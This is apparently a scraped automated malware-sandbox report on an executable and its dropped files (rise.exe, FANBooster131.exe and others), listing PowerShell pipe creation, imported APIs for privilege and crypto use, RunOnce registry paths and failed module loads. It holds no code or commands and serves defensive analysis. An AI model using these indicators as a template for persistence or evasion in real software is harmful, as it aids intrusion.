"pipe\PSHost.133490094193597414.6764.DefaultAppDomain.powershell" - (UID: 00000000-00006764) "powershell.exe" called "NtCreateNamedPipeFile" with parameter "pipe\PSHost.133490095985075524.7848.DefaultAppDomain.powershell" - (UID: 00000000-00007848) "powershell.exe" called "NtCreateNamedPipeFile" with parameter "pipe\PSHost.133490095986240381.7656.DefaultAppDomain.powershell" - (UID: 00000000-00007656) "powershell.exe" called "NtCreateNamedPipeFile" with parameter "pipe\PSHost.133490096027467159.6820.DefaultAppDomain.powershell" - (UID: 00000000-00006820) "powershell.exe" called "NtCreateNamedPipeFile" with parameter "pipe\PSHost.133490096028726064.2928.DefaultAppDomain.powershell" - (UID: 00000000-00002928) "powershell.exe" called "NtCreateNamedPipeFile" with parameter "pipe\PSHost.133490096029993448.6792.DefaultAppDomain.powershell" - (UID: 00000000-00006792) "powershell.exe" called "NtCreateNamedPipeFile" with parameter "pipe\PSHost.133490096031319469.4488.DefaultAppDomain.powershell" - (UID: 00000000-00004488) "powershell.exe" called "NtCreateNamedPipeFile" with parameter "pipe\PSHost.133490096032697155.6420.DefaultAppDomain.powershell" - (UID: 00000000-00006420) "powershell.exe" called "NtCreateNamedPipeFile" with parameter "pipe\PSHost.133490096034148966.4548.DefaultAppDomain.powershell" - (UID: 00000000-00004548)3a:T337a,Found reference to API (Indicator: "CheckTokenMembership"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "HeapSetInformation"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "DecryptFileA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "SHBrowseForFolder"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "SHGetPathFromIDList"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetTokenInformation"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "RegDeleteValueA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "RegOpenKeyExA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "RegQueryInfoKeyA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "FreeSid"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "OpenProcessToken"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "RegSetValueExA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "RegCreateKeyExA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "LookupPrivilegeValueA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "AllocateAndInitializeSid"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "RegQueryValueExA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "EqualSid"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "RegCloseKey"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetShortPathNameA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetModuleFileNameA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "FindFirstFileA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetCurrentProcess"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "FindNextFileA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "FindClose"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "LocalAlloc"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "lstrcmpA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "CompareStringA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetLastError"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetFileAttributesA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "LoadLibraryA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "DeleteFileA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GlobalAlloc"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GlobalFree"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "CloseHandle"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "WritePrivateProfileStringA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "IsDBCSLeadByte"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetWindowsDirectoryA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "SetFileAttributesA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetProcAddress"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GlobalLock"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "LocalFree"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "RemoveDirectoryA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "FreeLibrary"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "CreateDirectoryA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetPrivateProfileIntA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetPrivateProfileStringA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GlobalUnlock"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "ReadFile"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "SizeofResource"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "WriteFile"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetDriveTypeA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "LoadLibraryExA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "SetFileTime"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "SetFilePointer"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "FindResourceA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "CreateMutexA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetVolumeInformationA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "WaitForSingleObject"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetCurrentDirectoryA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "FreeResource"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetVersion"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "SetCurrentDirectoryA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetTempPathA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "LocalFileTimeToFileTime"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "CreateFileA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "SetEvent"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "TerminateThread"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetVersionExA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "LockResource"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetSystemInfo"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "CreateThread"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "ResetEvent"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "LoadResource"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "ExitProcess"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetModuleHandleW"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "CreateProcessA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "FormatMessageA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetTempFileNameA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "DosDateTimeToFileTime"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "CreateEventA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetExitCodeProcess"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetDeviceCaps"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetDesktopWindow"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "CharUpperA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "ExitWindowsEx"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "MessageBeep"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "CharPrevA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "LoadStringA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "CharNextA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "EnableWindow"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "ReleaseDC"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "SetForegroundWindow"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "PeekMessageA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "SendMessageA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "MessageBoxA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "SetWindowTextA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetWindowLongA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "CallWindowProcA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "SetWindowLongA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "ShowWindow"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "SetWindowPos"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetDC"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetWindowRect"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "DispatchMessageA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "VerQueryValueA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetFileVersionInfoA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "Sleep"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetStartupInfoW"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "TerminateProcess"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetCurrentProcessId"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetCurrentThreadId"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetTickCount"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "EnumResourceLanguagesA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetDiskFreeSpaceA"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "MulDiv"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "GetSystemMetrics"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") Found reference to API (Indicator: "SetSystemTime"; File: "00000000-00005892.00000000.75075.00F92000.00000020.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00002928.00000000.70333.031A0000.00000004.mdmp, 00000000-00002928.00000001.72251.07710000.00000004.mdmp") Found reference to API (Indicator: "CryptImportKey"; Source: "00000000-00002928.00000001.72251.07710000.00000004.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00004488.00000000.70348.02710000.00000004.mdmp, 00000000-00004488.00000001.72270.08510000.00000004.mdmp")3b:T83e,"sqlite3.dll" contains export function called "sqlite3_activate_cerod" at ordinal 1 "sqlite3.dll" contains export function called "sqlite3_activate_see" at ordinal 2 "sqlite3.dll" contains export function called "sqlite3_aggregate_context" at ordinal 3 "sqlite3.dll" contains export function called "sqlite3_auto_extension" at ordinal 4 "sqlite3.dll" contains export function called "sqlite3_backup_finish" at ordinal 5 "sqlite3.dll" contains export function called "sqlite3_backup_init" at ordinal 6 "sqlite3.dll" contains export function called "sqlite3_backup_pagecount" at ordinal 7 "sqlite3.dll" contains export function called "sqlite3_backup_remaining" at ordinal 8 "sqlite3.dll" contains export function called "sqlite3_backup_step" at ordinal 9 "sqlite3.dll" contains export function called "sqlite3_bind_blob" at ordinal 10 "sqlite3.dll" contains export function called "sqlite3_bind_blob64" at ordinal 11 "sqlite3.dll" contains export function called "sqlite3_bind_double" at ordinal 12 "sqlite3.dll" contains export function called "sqlite3_bind_int" at ordinal 13 "sqlite3.dll" contains export function called "sqlite3_bind_int64" at ordinal 14 "sqlite3.dll" contains export function called "sqlite3_bind_null" at ordinal 15 "sqlite3.dll" contains export function called "sqlite3_bind_parameter_count" at ordinal 16 "sqlite3.dll" contains export function called "sqlite3_bind_parameter_index" at ordinal 17 "sqlite3.dll" contains export function called "sqlite3_bind_parameter_name" at ordinal 18 "sqlite3.dll" contains export function called "sqlite3_bind_pointer" at ordinal 19 "sqlite3.dll" contains export function called "sqlite3_bind_text" at ordinal 20 "sqlite3.dll" contains export function called "sqlite3_bind_text64" at ordinal 21 "sqlite3.dll" contains export function called "sqlite3_bind_value" at ordinal 22 "sqlite3.dll" contains export function called "sqlite3_bind_zeroblob" at ordinal 23 "sqlite3.dll" contains export function called "sqlite3_bind_zeroblob64" at ordinal 24 "sqlite3.dll" contains export function called "sqlite3_blob_bytes" at ordinal 253c:T56d,"Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 3a9c8dc060b839403dcfc8a72d29defd.exe "DSystem\CurrentControlSet\Control\Session Manager" in Source: 3a9c8dc060b839403dcfc8a72d29defd.exe "Software\Microsoft\Windows\CurrentVersion\RunOnce" in Source: 3a9c8dc060b839403dcfc8a72d29defd.exe "System\CurrentControlSet\Control\Session Manager\FileRenameOperations" in Source: 3a9c8dc060b839403dcfc8a72d29defd.exe "System\CurrentControlSet\Control\Session Manager" in Source: 35615-17-0040256D "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002928.00000001.72251.031A0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002928.00000001.72251.031A0000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" in Source: 00000000-00002928.00000001.72251.07710000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004488.00000001.72270.02710000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004488.00000001.72270.02710000.00000004.mdmp3d:T46d,Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "OpenBaseKey" in "rise.exe" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "OpenSubKey" in "rise.exe" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "GetValueNames" in "rise.exe" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "GetSubKeyNames" in "rise.exe" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "OpenBaseKey" in "FANBooster131.exe" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "OpenSubKey" in "FANBooster131.exe" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "GetValueNames" in "FANBooster131.exe" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "GetSubKeyNames" in "FANBooster131.exe" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "OpenSubKey" in "R83RL20231230_1_.exe" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "GetValue" in "R83RL20231230_1_.exe" Observed namespace "Microsoft.Win32.RegistryKey" and TypeReference "GetSubKeyNames" in "R83RL20231230_1_.exe"3e:T2008,"1uT83YZ4.exe" failed to load missing module "%WINDIR%\System32\Windows.UI.AppDefaults.dll" - [base:0; Status:c0000135] "2cD4503.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "2cD4503.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "2cD4503.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "2cD4503.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "2cD4503.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "2cD4503.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "2cD4503.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "2cD4503.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "2cD4503.exe" failed to load missing module "%TEMP%\IXP003.TMP\sqlite3" - [base:0; Status:c0000135] "2cD4503.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "2cD4503.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "2cD4503.exe" failed to load missing module "%TEMP%\IXP003.TMP\setupapi.dll" - [base:0; Status:c0000135] "2cD4503.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "2cD4503.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "2cD4503.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "2cD4503.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "2cD4503.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "2cD4503.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "2cD4503.exe" failed to load missing module "%TEMP%\IXP003.TMP\ntdll.dll" - [base:0; Status:c0000135] "2cD4503.exe" failed to load missing module "%TEMP%\IXP003.TMP\Crypt32.dll" - [base:0; Status:c0000135] "2cD4503.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\ucrtbase_clr0400.dll" - [base:0; Status:c0000135] "2cD4503.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\SHLWAPI.dll" - [base:0; Status:c0000135] "2cD4503.exe" failed to load missing module "%TEMP%\IXP003.TMP\winbrand.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\urlmon.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-libraryloader-l1-2-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.Unmanaged.DLL" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-processthreads-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-handle-l1-1-0.dll" - [base:0; Status:c0000135]3f:T6f1,"3a9c8dc060b839403dcfc8a72d29defd.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "Lm3NB63.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "Rb3sH52.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "rise.exe" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "FANBooster131.exe" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "cN5Rh86.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "sqlite3.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE 